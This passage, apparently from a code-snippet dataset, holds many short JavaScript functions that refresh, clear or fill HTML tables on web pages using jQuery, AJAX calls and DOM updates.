align=\"right\">'+accounting.formatNumber(row_data[j]*100,2)+'%</td>';\r\n\t\t\t\t}else\r\n\t\t\t\tif(settings.columns_format[j]=='money'){\r\n\t\t\t\t\ttr+='<td align=\"right\">'+accounting.formatMoney(row_data[j])+'</td>';\r\n\t\t\t\t}else\r\n\t\t\t\tif(settings.columns_format[j]=='short date'){\r\n\t\t\t\t\t\ttr+='<td align=\"left\">'+verveDateConvert(row_data[j]).format('mmm dd')+'</td>';\r\n\t\t\t\t}else\r\n\t\t\t\tif(settings.columns_format[j]=='date'){\r\n\t\t\t\t\t\ttr+='<td align=\"left\">'+verveDateConvert(row_data[j]).format('yyyy-mm-dd')+'</td>';\r\n\t\t\t\t}else{\r\n\t\t\t\t\ttr+='<td>'+row_data[j]+'</td>';\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\ttr+='</tr>';\r\n\t\t\trows.push(tr);\r\n\t\t}\r\n\t\tbody.append(rows.join(''));\r\n\t\tmyTable.append(body);\t\r\n\t\t\r\n\t\t//add class sort\r\n\t\tif(settings.sort_by!=''){\r\n\t\t\tvar headArray=myTable.find(\"thead tr th.header[title='\"+settings.sort_by+\"']\").addClass('sort');\r\n\t\t\tif(settings.sort_type=='asc'){\r\n\t\t\t\tmyTable.find(\"thead tr th.header i\").removeClass();\r\n\t\t\t\tmyTable.find(\"thead tr th.header[title='\"+settings.sort_by+\"'] i\").addClass('fa fa-sort-alpha-asc');\r\n\t\t\t}else{\r\n\t\t\t\tmyTable.find(\"thead tr th.header i\").removeClass();\r\n\t\t\t\tmyTable.find(\"thead tr th.header[title='\"+settings.sort_by+\"'] i\").addClass('fa fa-sort-alpha-desc');\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t}\r\n\t\t//add sort event\r\n\t\tif(settings.sortable){\r\n\t\t\tmyTable.find(\"thead tr th.header\").click(function(){\r\n\t\t\t\tsettings.sort_by=$(this).attr('title');\r\n\t\t\t\tsort($(this).attr('title'));\r\n\t\t\t});\r\n\t\t}\r\n\t\t//Add onClick Event\r\n\t\tmyTable.find(\"tbody tr\").click(function(){\r\n\t\t\tvar tr=$(this);\r\n\t\t\tvar row=[];\r\n\t\t\ttr.find(\"td\").each(function(){\r\n\t\t\t\trow.push($(this).html());\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\tsettings.onClickRow(row);\r\n\t\t});\r\n\t\t//\r\n\t\t$('a').click(function(event){\r\n\t\t\tconsole.log();\r\n\t\t\tif($(this).attr('href')=='#'){\r\n\t\t\t\tevent.preventDefault();\r\n\t\t\t}\r\n\t\t});\r\n\t}", "function ramplirtabVil(){\n clairtxtBoxVil();\n $('#tableVil').bootstrapTable('refresh');\n} // end ramplir", "function refresh() {\n // Clear the table\n $('tbody').empty();\n // Insert each row into the table\n var ind = 0;\n rows.forEach(function(item){\n $('tbody').append('<tr onclick=\"tableClick(' + ind + '); show(\\'page2\\')\"><td>' + item.name + '</td><td>' +\n item.status + '</td><td>' + item.wordcount + '</td><td>' + item.date + '</td><td>' +\n item.deadline + '</td></tr>');\n ind++;\n });\n}", "function refresh(){\nrelatedGifs.innerHTML = ''\narticleDiv.innerHTML = ''\nrelatedArticles.innerHTML = ''\nrow0.innerHTML = ''\nrow1.innerHTML = ''\nrow2.innerHTML = ''\nrow3.innerHTML = ''\nrow4.innerHTML = ''\narticleHeadlineList = []\narticleUrl = []\nconsole.log(results);\n \n}", "function ramplirtabAut(){\n clairtxtBoxAut();\n $('#tableAut').bootstrapTable('refresh');\n} // end ramplir", "function ramplirtabLan(){\n clairtxtBoxLan();\n $('#tableLan').bootstrapTable('refresh');\n} // End ramplir", "function refresh() {\n refreshSummary();\n}", "function reloadTable1() {\n let url = '/goods_src/getAll/';\n $.get(url, function(data, status) {\n let obj = JSON.parse(data);\n createTable1(obj);\n source = obj;\n });\n }", "function updateBartenderView() {\n if (currentTableID != 0) {\n showOrder(currentTableID);\n }\n showMenu(lastMenu);\n showAccountBox();\n $('#bordskarta').empty();\n $('#bordskarta').append('<button class=\"tableButton\" id=twoPtableBut onclick=addTable()>' + get_string('twoPtableBut') + '</button>');\n loadAllTables();\n}", "function getAllBansSaPi() {\n\tsetTimeout(function() {\n\t\t$('#bInfo_full').text('');\n\t\tvar table = $('<table/>', {\"id\": 'SaPi_Bans'});\n\t\t$.each($tElement, function(row, value) {\n\t\t\tvar newRow = $('<tr/>');\n\t\t\tif (row == 0){\n\t\t\t\t$.each($(value).find('td'), function(cell, value) {\n\t\t\t\t\tnewRow.append($('<th/>').text(chrome.i18n.getMessage('injBanModal_' + cell)));\n\t\t\t\t});\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$.each($(value).find('td'), function(cell, value) {\n\t\t\t\t\tnewRow.append($('<td/>').text($(value).text()));\n\t\t\t\t});\n\t\t\t}\n\t\t\ttable.append(newRow);\n\t\t});\n\t\t$('#bInfo_full').append(table);\n\t}, 500);\n}", "function reload(count){\n objData.page = count;\n let tableBody = document.getElementById(\"tablebody\");\n tableBody.remove();\n loadPagination(objData.pageData,objData.page,objData.rows,false);\n}", "refreshPage() {\n $(\"#tableMasterHeader tr\").last().remove();\n this.drawFilterForTable(\"#tableMasterHeader\");\n $(\".ASC\").removeClass(\"ASC\");\n $(\".DESC\").removeClass(\"DESC\");\n $(\"#PageSize\").val(50);\n $(\"#offsetRow\").val(1);\n $('#tableMasterHeader th[property=\"RefDate\"]').addClass(\"DESC\");\n var data = this.getValueToLoadData();\n data[\"OrderQuery\"] = resource.OrderBy.RefDateDesc;\n this.order = resource.OrderBy.RefDateDesc;\n this.loadDataMaster(data);\n }", "function doRefresh(){\n let nextUpdate = new Date();\n nextUpdate.setMinutes(nextUpdate.getMinutes() + 1);\n $('#nextUpdate').html(nextUpdate.toLocaleString());\n clearTable();\n loadDefaults();\n}", "function renderUpdatedDogs() {\n let dogTable = document.querySelector('#table-body');\n dogTable.innerHTML = '';\n getAllDogs();\n}", "function ramplirtabFam(){\n clairtxtBoxFam();\n $('#tableFam').bootstrapTable('refresh');\n}", "function refreshStoredBibliotecas() {\n getStoredBibliotecas();\n refreshTableBibliotecas();\n addMapMarkers();\n\n}", "function refreshTable() {\n\t\tvar partners = [\"piston\", \"plumgrid\"];\n\t\tfor (var i = 0; i < partners.length; i++) {\n\t\t\tdoAjaxSelects(partners[i])\n\t\t}\n\t\tsetTimeout(refreshTable, 1000);\n\t}", "function RefreshTable() {\n dc.events.trigger(function () {\n alldata = tableDimension.top(Infinity);\n datatable.fnClearTable();\n datatable.fnAddData(alldata);\n datatable.fnDraw();\n });\n }", "function updateTable() {\n $(\"#table-body\") .empty();\n for (i = 0; i < trainNames.length; i++) {\n trainName = trainNames [i];\n showTrains();\n };\n \n }", "function show_table()\n\t{\n\t\t$(\"#table_body\").html(\"\");\n\t\t$.ajax({\n\t\t\turl:\"bring_data.php\",\n\t\t\tsuccess:function(result)\n\t\t\t{\n\t\t\t\t$(\"#table_body\").append(result);\n\t\t\t}\n\t\t});\n\t}", "async refresh() {\n this.notifyLoading(true);\n refreshApex(this.boats); \n this.notifyLoading(false);\n }", "reloadData()\n {\n this.getBooks();\n this.getGenres();\n }", "function refreshTableInfo() {\n var show_squawk_warning = false;\n\n TrackedAircraft = 0\n TrackedAircraftPositions = 0\n TrackedHistorySize = 0\n\n $(\".altitudeUnit\").text(get_unit_label(\"altitude\", DisplayUnits));\n $(\".speedUnit\").text(get_unit_label(\"speed\", DisplayUnits));\n $(\".distanceUnit\").text(get_unit_label(\"distance\", DisplayUnits));\n $(\".verticalRateUnit\").text(get_unit_label(\"verticalRate\", DisplayUnits));\n\n for (var i = 0; i < PlanesOrdered.length; ++i) {\n\tvar tableplane = PlanesOrdered[i];\n TrackedHistorySize += tableplane.history_size;\n\tif (tableplane.seen >= 58 || tableplane.isFiltered()) {\n tableplane.tr.className = \"plane_table_row hidden\";\n } else {\n TrackedAircraft++;\n var classes = \"plane_table_row\";\n\n if (tableplane.position !== null && tableplane.seen_pos < 60) {\n ++TrackedAircraftPositions;\n\t\t}\n\n\t\tif (tableplane.getDataSource() === \"adsb_icao\") {\n \tclasses += \" vPosition\";\n } else if (tableplane.getDataSource() === \"tisb_trackfile\" || tableplane.getDataSource() === \"tisb_icao\" || tableplane.getDataSource() === \"tisb_other\") {\n \tclasses += \" tisb\";\n } else if (tableplane.getDataSource() === \"mlat\") {\n \tclasses += \" mlat\";\n } else {\n \tclasses += \" other\";\n }\n\n\t\tif (tableplane.icao == SelectedPlane)\n classes += \" selected\";\n \n if (tableplane.squawk in SpecialSquawks) {\n classes = classes + \" \" + SpecialSquawks[tableplane.squawk].cssClass;\n show_squawk_warning = true;\n\t\t}\t\t\t \n\n // ICAO doesn't change\n if (tableplane.flight) {\n tableplane.tr.cells[2].innerHTML = getFlightAwareModeSLink(tableplane.icao, tableplane.flight, tableplane.flight);\n } else {\n\t\t // Show _registration if ident is not present\n\t\t tableplane.tr.cells[2].innerHTML = (tableplane.registration !== null ? getFlightAwareIdentLink(tableplane.registration, '_' + tableplane.registration) : \"\");\n }\n tableplane.tr.cells[3].textContent = (tableplane.registration !== null ? tableplane.registration : \"\");\n tableplane.tr.cells[4].textContent = (tableplane.icaotype !== null ? tableplane.icaotype : \"\");\n tableplane.tr.cells[5].textContent = (tableplane.squawk !== null ? tableplane.squawk : \"\");\n tableplane.tr.cells[6].innerHTML = format_altitude_brief(tableplane.altitude, tableplane.vert_rate, DisplayUnits);\n tableplane.tr.cells[7].textContent = format_speed_brief(tableplane.gs, DisplayUnits);\n tableplane.tr.cells[8].textContent = format_vert_rate_brief(tableplane.vert_rate, DisplayUnits);\n tableplane.tr.cells[9].textContent = format_distance_brief(tableplane.sitedist, DisplayUnits);\n tableplane.tr.cells[10].textContent = format_track_brief(tableplane.track);\n tableplane.tr.cells[11].textContent = tableplane.messages;\n tableplane.tr.cells[12].textContent = tableplane.seen.toFixed(0);\n tableplane.tr.cells[13].textContent = (tableplane.rssi !== null ? tableplane.rssi : \"\");\n tableplane.tr.cells[14].textContent = (tableplane.position !== null ? tableplane.position[1].toFixed(4) : \"\");\n tableplane.tr.cells[15].textContent = (tableplane.position !== null ? tableplane.position[0].toFixed(4) : \"\");\n tableplane.tr.cells[16].textContent = format_data_source(tableplane.getDataSource());\n tableplane.tr.cells[17].innerHTML = getAirframesModeSLink(tableplane.icao);\n tableplane.tr.cells[18].innerHTML = getFlightAwareModeSLink(tableplane.icao, tableplane.flight);\n tableplane.tr.cells[19].innerHTML = getFlightAwarePhotoLink(tableplane.registration);\n tableplane.tr.className = classes;\n\t}\n}\n\nif (show_squawk_warning) {\n $(\"#SpecialSquawkWarning\").css('display','block');\n } else {\n $(\"#SpecialSquawkWarning\").css('display','none');\n }\n\n resortTable();\n}", "function refreshAll() {\n refreshTable(trainArray);\n}", "function populateTable() {\n\t// clear table contents\n\tvar tableContent = '';\n\n\t//jQuery AJAX call for JSON beer list data\n\t$.getJSON('/beers/beerlist', function (results) {\n\t\t// add results to beer list array\n\t\tbeerListData = results;\n\t\t// for each item in the results, add table row and cells to the content string\n\t\t$.each(results, function() {\n\t\t\ttableContent += '<tr>';\n\t\t\ttableContent += '<td><a href=\"#\" class=\"showBeerInfo\" rel=\"' + this.beerName + '\" title=\"Show Details\">' + this.beerName +'</a></td>';\n\t\t\ttableContent += '<td>' + this.style + '</td>';\n\t\t\ttableContent += '<td>' + this.rating + '</td>';\n\t\t\ttableContent += '<td><a href=\"#\" class=\"deleteBeer\" rel=\"' + this._id + '\">delete</a>/<a href=\"#\" class=\"updateBeer\" rel=\"' + this._id + '\">update</a></td>';\n\t\t\ttableContent += '</tr>';\n\t\t});\n\t\t// put the content string into the HTML table\n\t\t$('#beerList table tbody').html(tableContent);\n\t});\n}", "function refreshPage() {\n setShowModal(false);\n getInfoList();\n }", "function refreshBulkImportTable() {\n\n clearTable('masterBulkImportStatus');\n\n /*\n * Get the bulk import value obtained earlier, if it doesn't exists,\n * create an empty array\n */\n var data = sessionStorage.bulkImports === undefined ?\n [] : JSON.parse(sessionStorage.bulkImports);\n var items = [];\n\n /* If the data is empty, create an empty row, otherwise,\n * create the rows for the table\n */\n if (data.length === 0 || data.bulkImport.length === 0) {\n items.push(createEmptyRow(3, 'Empty'));\n } else {\n $.each(data.bulkImport, function(key, val) {\n items.push(createFirstCell(val.filename, val.filename));\n items.push(createRightCell(val.age, val.age));\n items.push(createRightCell(val.state, val.state));\n });\n }\n\n $('<tr/>', {\n html: items.join('')\n }).appendTo('#masterBulkImportStatus');\n}", "function reloadTable2() {\n let url = '/goods_src/getDeleted';\n $.get(url, function(data, status) {\n let obj = JSON.parse(data);\n createTable2(obj);\n source2 = obj;\n });\n }", "function refreshData(){\n $('#abHeader').nextAll().remove(); // clears table rows\n $('#abErrorsLog ul').empty(); // clears errors log\n refreshCycle = 0; // reset refresh cycle control\n itemIds = [];\n itemSince = null;\n loadData();\n }", "function updateEngagementTable() {\n // Populate engagement table.\n uiHandler.getMediaEngagementScoreDetails().then(response => {\n info = response.info;\n renderTable();\n pageIsPopulatedResolver.resolve();\n });\n\n // Populate config settings.\n uiHandler.getMediaEngagementConfig().then(response => {\n renderConfigTable(response.config);\n });\n}", "function refreshDisplay() {\r\n\r\n if (useOfflineSync) {\r\n syncLocalTable().then(displayItems);\r\n } else {\r\n displayItems();\r\n }\r\n }", "function refreshTable() {\n\t// Empty the table body to refresh\n\tlet tbody = document.getElementById('tbody');\n\ttbody.innerHTML = '';\n\n\t// Loop through todos and add cells.\n\tfor (var i = 0; i < todos.length; i++) {\n\t\tlet todo = todos[i];\n\t\taddTodoCell(todo, i+1);\n\t}\n}", "function onTableRefresh() {\n\tthis.nowDate = new Date();\n\tthis.now = Building.seconds( this.nowDate.getTime() );\n}", "function ramplirtabCla(){\n $('#tableCla').bootstrapTable('refresh');\n clairtxtBoxCla();\n} // end ramplir", "function updateTable() {\n dispatch({ type: types.LOADING });\n fetchPageTableUpdate(url, {\n ...state.pagination,\n sortColumn: state.column || \"createdDate\",\n sortDirection: state.order || \"descend\",\n search: state.search,\n filters: state.filters,\n }).then(({ dataSource, total }) => {\n dispatch({\n type: types.LOADED,\n payload: {\n dataSource,\n total,\n },\n });\n });\n }", "function clientRefresh() {\n $(\"table tr\").each(function (index) {\n $(this).show();\n });\n //if (counter == 0) {\n\n // $('#selector').click();\n // counter = counter + 1;\n //}\n $('#selector').click();\n $('#selector').click();\n}", "function refresh_tables() {\n $(\".monitor_table\").each(function () {\n var TotalValue = 0;\n $(this)\n .find(\".balance_sum\")\n .each(function () {\n TotalValue += parseFloat($(this).data(\"balance\"));\n });\n $(this)\n .find(\".sum_total\")\n .html(\n (TotalValue / 100000000).toLocaleString(\"en-US\", {\n style: \"decimal\",\n maximumFractionDigits: 2,\n minimumFractionDigits: 2\n })\n );\n });\n}", "function clientRefresh() {\n $(\"table tr\").each(function (index) {\n $(this).show();\n });\n if (counter == 0) {\n\n $('#selector').click();\n counter = counter + 1;\n }\n $('#selector').click();\n $('#selector').click();\n}", "refresh()\n\t{\n\t}", "function class_showTablesNow()\r\n\t{\r\n\t\tvar\t\ttbl = document.getElementById( \"browseTableDefn2\" );\r\n\t\t\t\r\n\t\tif ( tbl != null )\r\n\t\t{\t\r\n\t\t\tvar\t\tarrayPageSize;\r\n\t\t\r\n\t\t\tvar\t\ttblStyle = tbl.style;\r\n\r\n\t\t\ttblStyle.display = \"block\";\r\n\r\n\t\t\tif ( flashTableRefresh )\r\n\t\t\t{\r\n\t\t\t\tif ( totalPages !== currentPageNum )\r\n\t\t\t\t{\r\n\t\t\t\t\t// Currently the only time the window needs to be flashed is\r\n\t\t\t\t\t// when the pagesize changes of the last page of results.\r\n\t\t\t\t\t// Going to assume for the time being to scroll to the bottom of the page\r\n\t\t\t\t\t// when not on the last page.\r\n\t\t\t\t\tarrayPageSize = getPageSize();\r\n\r\n\t\t\t\t\twindow.scrollTo( 0, arrayPageSize[3] );\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tflashTableRefresh = false;\r\n\t\t\t\r\n\t\t\tif ( window.Sidebar !== undefined && Sidebar !== undefined && Sidebar.initialized )\r\n\t\t\t{\r\n\t\t\t\tSidebar.setClickerHeight();\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function updateAlbumTable(){\n\n\tif(databaseObj){\n\t\tvar albumTable = document.getElementById(\"albumTable\");\n\t\tif(albumTable){\n\t\t\t// Clear album table\n\t\t\talbumTable.innerHTML = '';\n\t\t\tvar tdPerRow = 4;\n\t\t\tvar rowTotal = databaseObj.length/tdPerRow;\n\n\t\t\tfor(var i = 0; i < rowTotal; i++){\n\n\t\t\t\tvar albumTr\t= document.createElement(\"tr\");\n\t\t\t\talbumTable.appendChild(albumTr);\n\t\t\t\tfor(var j = 0; j < tdPerRow; j++){\n\n\t\t\t\t\t// Break if all photos are loaded\n\t\t\t\t\tif((i * tdPerRow + j) >= databaseObj.length)\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tvar description = databaseObj[i * tdPerRow + j].description;\n\n\t\t\t\t\tif(description == \"\"){\n\t\t\t\t\t\tdescription = \"\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\talbumTr.appendChild(createTd(databaseObj[i * tdPerRow + j].filename, description, databaseObj[i * tdPerRow + j].thumbnail_width, databaseObj[i * tdPerRow + j].thumbnail_height));\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}else{\n\t\tconsole.log(new Date());\n\t}\n}", "function reload() {\n console.log(\"reload\");\n GenerateWOSummary();\n case0();\n }", "function reloadTableMyObservations() {\n // récupère le num de la page courante\n var currentPageNb = $('#paginationMyObservations').find('.current').text();\n if (currentPageNb == '') {\n currentPageNb = '1';\n }\n // crée l'argument pour la requete Get\n var argGet = '?page='+currentPageNb;\n // récupère la route pour la pagination\n var urlNewRoute = $('.pagination-table-my-observations').attr('url');\n // concatene la route et l'argument get\n var newUrl = urlNewRoute+argGet;\n $.ajax({\n type: 'GET',\n url: newUrl,\n success: function (data) {\n // actualise le tableau\n $('.pagination-table-my-observations').replaceWith(data);\n // relance les écouteurs d'evenement\n editCurrentUserObservations();\n paginateMyObservations();\n }\n })\n }", "function refresh(extraData){\n\t\tvar c = this;\n\t\tvar $e = this.$element;\n\t\tfor(var i = 0; i < extraData.playersStatus.length; i++){\n\t\t\tvar playerStatus = extraData.playersStatus[i];\n\t\t\tvar $player = $e.find(\".player\"+i);\n\t\t\t$player.find(\"label\").html(playerStatus.player);\n\t\t\tvar $cardArea = $player.find(\".cardArea\").empty();\n\t\t\tvar $betArea = $player.find(\".betArea\").empty();\n\t\t\tfor(var j = 0; j < playerStatus.handCards.length; j++){\n\t\t\t\tbrite.display(\"Card\",{show:true,cardNo:\"8\",cardSuite:\"s\"},{parent:$cardArea});\n\t\t\t}\n\t\t\tif(playerStatus.pokerChip > 0){\n\t\t\t\tbrite.display(\"PokerChip\",{value:playerStatus.pokerChip},{parent:$betArea});\n\t\t\t}\n\t\t}\n\t\t\n\t\t$e.trigger(\"Table_COMMUNITY_CARDS_REFRESH\",extraData.communityCards);\n\t\t$e.trigger(\"Table_PRIZE_POOL_REFRESH\",extraData.poolPokerChip);\n\t\t\n\t}", "refresh() {\n this.reset();\n this.loadNext();\n }", "function refresh() {\n }", "updateBody() {\n this.tableBody.innerHTML = '';\n\n if (!this.sortedData.length) {\n let row = this.buildRow('Nothing found', true);\n\n this.tableBody.appendChild(row);\n }\n\n else {\n for (let i = 0; i < this.sortedData.length; i++) {\n let row = this.buildRow(this.sortedData[i]);\n\n this.tableBody.appendChild(row);\n }\n }\n\n this.buildStatistics();\n }", "@api\n async refresh() {\n this.notifyLoading(true);\n this.isLoading = true;\n this.notifyLoading(this.isLoading);\n await refreshApex(this.boats);\n this.isLoading = false;\n this.notifyLoading(this.isLoading);\n \n }", "function refreshAll() {\n\t\thideGraphs();\n\t\tmyTimer = setInterval(refreshAllWait, 100);\n\t}", "_refresh() {\r\n\t\tthis._lastUpdateCount = this._alertModel.getUpdateCount();\r\n\r\n\t\tthis._div.innerHTML = \"\";\r\n\t\tconst alerts = this._alertModel.getCurrentAlerts();\r\n\t\tfor(let i = 0; i < alerts.length; ++i) {\r\n\t\t\tthis._addAlert(alerts[i]);\r\n\t\t}\r\n\t}", "function updateTable(){\n let p = currentTableDiv.getElementsByTagName(\"p\")[0];\n let span1 = p.getElementsByTagName(\"span\")[0];\n let span2 = p.getElementsByTagName(\"span\")[1];\n span2.innerHTML = \" Total item count : \" + tableItems[currentTableId - 1].itemCount;\n span1.innerHTML = \"Rs \" + tableItems[currentTableId - 1].totalBill + \" |\";\n\n}", "function init() {\r\n getTable();\r\n // refreshes the table every 10 seconds\r\n setInterval(getTable, 10000);\r\n}", "function updateDisplay() {\n\n crawlerModel.user = _useVenueData ? _venueData.messages : _deviceData.messages;\n $scope.mode = ( _useVenueData ? _venueData.mode : _deviceData.mode ) || 'full-size';\n $scope.mode = 'full-size';\n\n getTVGrid();\n\n ogAds.getCurrentAd()\n .then( function ( currentAd ) {\n crawlerModel.ads = currentAd.textAds || [];\n } )\n .then( reloadTweets )\n .then( function () {\n\n $log.debug( \"Rebuilding hz scroller feed\" );\n var tempArr = [];\n crawlerModel.user.forEach( function ( um ) {\n tempArr.push( { text: um, style: { color: '#ffffff' } } )\n } );\n\n crawlerModel.twitter.forEach( function ( um ) {\n tempArr.push( { text: um, style: { color: '#87CEEB' } } )\n } );\n\n crawlerModel.ads.forEach( function ( um ) {\n tempArr.push( { text: um, style: { color: '#ccf936' } } )\n } );\n\n tempArr = tempArr.filter( function ( x ) {\n return (x !== (undefined || !x.message));\n } );\n\n $scope.crawlerMessages = _.shuffle( tempArr );\n } );\n\n }", "function updateAll() {\n\tfilteredData = getFilteredData();\n\tinit_table(filteredData);\n\tupdateMap(filteredData);\n\tdrawBarChart(filteredData);\n}", "function refreshTable() {\n let xhr = new XMLHttpRequest();\n\n xhr.onreadystatechange = function() {\n if(xhr.readyState === 4){\n var assetList = JSON.parse(xhr.responseText);\n\n // clear asset table\n document.getElementById('asset-list-body').innerHTML = '';\n\n // add each asset to a row in the table\n assetList.forEach(libAsset => {\n addAssetToTable(libAsset);\n });\n }\n }\n\n xhr.open('GET', '/library-api/api/library-asset');\n\n xhr.send();\n}", "function refreshUserAbsenceTable() {\n $.ajax({\n url: abp.appPath + 'AbsencesManager/GetUserAbsenceTable',\n type: 'GET',\n contentType: 'application/html',\n success: function (content) {\n _$userTable.html(content);\n },\n error: function (e) { }\n });\n }", "function updateTables(){\n\n // Don't update tables if container details is open\n if(!DETAILS_CONTAINER_OPENED_FLAG){\n // Empty all tables\n $(\"#runningVAssetsTable tbody\").empty();\n $(\"#notRunningVAssetsTable tbody\").empty();\n $(\"#otherContainers tbody\").empty();\n\n addRowsToTable(historyDB.runningVAssets, \"runningVAssetsTable\");\n addRowsToTable(historyDB.notRunningVAssets, \"notRunningVAssetsTable\");\n addRowsToTable(historyDB.otherContainers, \"otherContainersTable\");\n }\n\n}", "function refresh() {\n\tvar scrJrefDlgdownload = retrieveSi(srcdoc, \"StatShrWdbeFil\", \"scrJrefDlgdownload\");\n\tvar scrJrefDlgnew = retrieveSi(srcdoc, \"StatShrWdbeFil\", \"scrJrefDlgnew\");\n\n\tif (scrJrefDlgdownload != \"\") {\n\t\tif (scrJrefDlg != scrJrefDlgdownload) showDlg(\"DlgWdbeFilDownload\", scrJrefDlgdownload);\n\t} else if (scrJrefDlgnew != \"\") {\n\t\tif (scrJrefDlg != scrJrefDlgnew) showDlg(\"DlgWdbeFilNew\", scrJrefDlgnew);\n\t} else if (scrJrefDlg != \"\") hideDlg();\n\n\tdoc.title = retrieveCi(srcdoc, \"ContInfWdbeFil\", \"MtxCrdFil\") + \" - WhizniumDBE v1.1.20\";\n}", "function clearTablesorterCache() {\n $('#instances').trigger(\"update\");\n}", "function Refresh() {\n\t\t$('#c-filter').change();\n\t\t$('.tooltipped').tooltip({delay: 50});\n\t\tupdateTheme();\n\t\tupdateCardsModal();\n\t\tupdateDroppableItems();\n\t\tupdateDraggableItems();\n\t}", "function table_fill_empty() {\n pagination_reset();\n $('.crash-table tbody').html(`\n <tr>\n <th>-</th>\n <td>-</td>\n <td>-</td>\n <td>-</td>\n </tr>`);\n}", "function clearContent(){\n\t$('#output').html('<table class=\"table table-bordered table-hover\" id=\"stats\"><thead></thead><tbody></tbody></table>');\n}", "function RefreshAll(){\r\n\tsortGames();\r\n\trefreshListView();\r\n\trefreshEditLV();\r\n\trefreshSrchLV();\r\n\tif ( $('#lstVwSrch').data( \"listview\" ) === undefined ) \r\n\t\t{\r\n\t\t// listview has not yet been turned into a listview widget so does this here.\r\n\t\t$('#lstVwSrch').listview();\r\n\t}\r\n\t$('#lstVwSrch').empty();\r\n\t$('#lstVwSrch').listview(\"refresh\");\r\n\t$(\"#srhTxt\").html('');\r\n\t}", "reload() {\n this._setRowKeys();\n }", "function refresh_grid(data_tbl){\n \n data_tbl =(data_tbl)?data_tbl:\"data_table\";\n var cur_page = $(\"#base_url\").val()+$(\"#cur_page\").val();\n $.fn.init_progress_bar();\n $.fn.display_grid(cur_page,data_tbl);\n}", "function refresh_grid(data_tbl){\n \n data_tbl =(data_tbl)?data_tbl:\"data_table\";\n var cur_page = $(\"#base_url\").val()+$(\"#cur_page\").val();\n $.fn.init_progress_bar();\n $.fn.display_grid(cur_page,data_tbl);\n}", "function populateTable() {\n\n // Empty content string\n var tableContent = '';\n\n // jQuery AJAX call for JSON\n $.getJSON( '/api/simpleproxy/loadbalancer', function( data ) {\n\n // Stick our proxy data array into a proxylist variable in the global object\n //proxyListData = data.Simpleproxy;\n loadbalancerdata = data;\n\n\n // For each item in our JSON, add a table row and cells to the content string\n $.each(loadbalancerdata, function(){\n\n tableContent += '<tr>';\n tableContent += '<td><a href=\"#\" class=\"linkStartBalancer\" rel=\"' + this.configid + '\" title=\"Start\">Start </a>';\n tableContent += '<a href=\"#\" class=\"linkStopBalancer\" rel=\"' + this.configid + '\" title=\"Stop\"> Stop</a>';\n tableContent += '<a href=\"#\" class=\"linkDeleteLbConfig\" rel=\"' + this.configid + '\" title=\"Delete\"> Delete</a></td>'; \n tableContent += '<td><a href=\"#\" class=\"linkshowproxy\" rel=\"' + this.configid + '\" title=\"Show Details\">' + this.configid + '</a></td>';\n // tableContent += '<td>' + this.port + '</td>';\n tableContent += '<td>' + this.targeturl + '</td>';\n tableContent += '<td>' + this.proxyurl + '</td>';\n\n if(Boolean(this.status))\n {\n tableContent += '<td>' + \"Running\" + '</td>';\n }\n else\n {\n tableContent += '<td>' + \"Stopped\" + '</td>';\n }\n \n tableContent += '<td><a href=\"#\" class=\"linkdeleteproxy\" rel=\"' + this.configid + '\">Remove Instance</a>\\\n <a href=\"#\" class=\"linkupdateconfig\" rel=\"' + this.configid + '\">Add Instance</a></td>';\n tableContent += '</tr>';\n });\n\n // Inject the whole content string into our existing HTML table\n $('#loadbalancelist table tbody').html(tableContent);\n });\n}", "function refresh() {\n console.log(\"Refreshing display\");\n fpCache.reset();\n selection.clear();\n updateSelectionUI();\n lastDate = undefined;\n\n var offset = undefined;\n var count = limit;\n\n // Reposition to last known offset\n var previous = configurationManager.loadFirstVisible(currentFilterByTag);\n if (previous) {\n offset = previous.index;\n if (offset && (typeof offset) === \"number\") {\n // Offset used to be a number, and now is a string\n offset = undefined;\n }\n }\n\n var $canvas = $(\"#canvas\");\n $canvas.children().remove();\n $canvas.empty();\n\n if (offset) offset = \"=\" + offset; // \"=\" means inclusive\n\n\n loadMore({ offset:offset, limit:limit, where:'append' }, function() {});\n}", "function refresh_table() {\r\n\t// reset the text in the result table\r\n\tdocument.getElementById(\"results_table\").innerHTML = \"\";\r\n\r\n\t// check whether anything has been typed into the search box\r\n\tif (document.pinpoint_form.search_term.value == \"\") {\r\n\t\tdocument.getElementById(\"results_table\").innerHTML = \"Insufficient text provided in search box.\";\r\n\t} else {\r\n\t\t// reset all the progress bars and images to show we are starting fresh\r\n\t\tdocument.getElementById('results_table').scrollIntoView();\r\n\t\tupdatePbar(\"progressbar_srch\",0);\r\n\t\tupdatePbar(\"progressbar_mtch\",0);\r\n\t\tupdatePbar(\"progressbar_oput\",0);\r\n\t\tdocument.getElementById(\"img_mtch\").src = \"data/pause.gif\";\r\n\t\tdocument.getElementById(\"img_oput\").src = \"data/pause.gif\";\r\n\t\tdocument.getElementById(\"progressbarwrapper\").style.display = \"block\";\r\n\t\tdocument.getElementById(\"progresstitle\").innerHTML = \"Please wait, searching for occupation titles:\";\r\n\t\tdocument.getElementById(\"search_jobs\").disabled = true;\r\n\t\tdocument.getElementById(\"search_cancel\").disabled = false;\r\n\t\tkillme = false;\r\n\t \tz = setTimeout(\"initiatesearch()\",1);\r\n\t};\r\n\treturn false;\r\n}", "function getTable() {\n\n if (this.object) {\n var tbody = $('#gcodelist tbody');\n\n // clear table\n $(\"#gcodelist > tbody\").html(\"\");\n\n for (let i = 0; i < this.object.userData.lines.length; i++) {\n var line = this.object.userData.lines[i];\n\n if (line.args.origtext != '') {\n tbody.append('<tr><th scope=\"row\">' + (i + 1) + '</th><td>' + line.args.origtext + '</td></tr>');\n }\n }\n\n // set tableRows to the newly generated table rows\n tableRows = $('#gcodelist tbody tr');\n }\n}", "function refresh() {\n\tgetAllOrders();\n\tsetTimeout(refresh, 500);\n}", "refreshDatas() {\n this.populateBrandsData(); \n this.forceUpdate();\n }", "function fillUpTable() {\r\n\tgetInstantValues();\r\n}", "function refresh() {\n getInfoMat();\n}", "function refreshStoredTags() {\n getStoredTags();\n refreshTableTags();\n}", "function recargarTablaActividad() {\n var tabla = 